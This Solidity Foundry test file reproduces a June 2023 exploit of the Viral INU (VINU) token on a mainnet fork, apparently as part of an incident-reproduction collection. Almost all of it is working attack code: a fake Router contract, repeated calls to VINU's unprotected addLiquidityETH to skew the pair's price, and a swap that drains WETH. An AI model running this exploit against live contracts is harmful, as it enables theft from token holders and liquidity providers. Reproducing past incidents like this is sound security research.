src/test/2023-06/VINU_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~6k USD$
8// Attacker : https://etherscan.io/address/0x9748c8540a5f752ba747f1203ac13dae789033de
9// Attack Contract : https://etherscan.io/address/0xf73b8ea8838cba9148fb182e267a000f7cfba8dd
10// Attack Tx : https://etherscan.io/tx/0xaf46a42fe1ed7193b25c523723dc047c7500e50a00ecb7bbb822d665adb3e1f3
11 
12// @Analysis
13// https://twitter.com/hexagate_/status/1666051854386511873?cxt=HHwWgoC24bPVgJ8uAAAA
14 
15interface IVINU is IERC20 {
16    function addLiquidityETH(address routerAddr, address lprAddr, address devAddr) external;
17}
18 
19contract VinuTest is Test {
20    // Viral INU token
21    IVINU VINU = IVINU(0xF7ef0D57277ad6C2baBf87aB64bA61AbDd2590D2);
22    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
23    Uni_Router_V2 UniswapV2Router02 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
24    Uni_Pair_V2 Pair = Uni_Pair_V2(0xa8AF8ac7aCd97095c0d73eD51E30564d52b19cd8);
25    address private constant flashbotsAddress = 0xDAFEA492D9c6733ae3d56b7Ed1ADB60692c98Bc5;
26    Router FakeRouter;
27 
28    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
29 
30    function setUp() public {
31        deal(address(this), 0.5 ether);
32        cheats.createSelectFork("mainnet", 17_421_006);
33        cheats.label(address(VINU), "VINU");
34        cheats.label(address(WETH), "WETH");
35        cheats.label(address(UniswapV2Router02), "UniswapV2Router02");
36        cheats.label(flashbotsAddress, "flashbotsAddress");
37    }
38 
39    function testExploit() public {
40        emit log_named_decimal_uint("Attacker's contract ETH balance before attack", address(this).balance, 18);
41 
42        emit log_named_decimal_uint(
43            "Attacker's contract WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
44        );
45 
46        address[] memory path = new address[](2);
47        path[0] = address(WETH);
48        path[1] = address(VINU);
49        UniswapV2Router02.swapExactETHForTokens{value: 0.1 ether}(0, path, address(this), block.timestamp + 100);
50 
51        // Deploying fake Router contract
52        FakeRouter = new Router();
53 
54        // Manipulating the price of VINU
55        for (uint256 i; i < 4; ++i) {
56            VINU.addLiquidityETH(address(FakeRouter), address(this), address(Pair));
57        }
58        Pair.sync();
59        uint256 amountIn = VINU.balanceOf(address(this));
60        VINU.transfer(address(Pair), VINU.balanceOf(address(this)));
61 
62        (uint112 reserveWETH, uint112 reserveVINU,) = Pair.getReserves();
63        flashbotsAddress.call{value: 0.000000001 ether}("");
64        uint256 amountOut = UniswapV2Router02.getAmountOut(amountIn, reserveVINU, reserveWETH);
65 
66        Pair.swap(amountOut, 0, address(this), "");
67 
68        emit log_named_decimal_uint("Attacker's contract ETH balance after attack", address(this).balance, 18);
69 
70        emit log_named_decimal_uint(
71            "Attacker's contract WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
72        );
73    }
74}
75 
76contract Router {
77    address private constant wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
78 
79    function factory() external view returns (address) {
80        return address(this);
81    }
82 
83    function WETH() external view returns (address) {
84        return wethAddr;
85    }
86 
87    function approve(address spender, uint256 amount) external returns (bool) {
88        return true;
89    }
90 
91    function createPair(address tokenA, address tokenB) external returns (address) {
92        return address(this);
93    }
94 
95    function addLiquidityETH(
96        address token,
97        uint256 amountTokenDesired,
98        uint256 amountTokenMin,
99        uint256 amountETHMin,
100        address to,
101        uint256 deadline
102    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity) {
103        return (0, 0, 0);
104    }
105}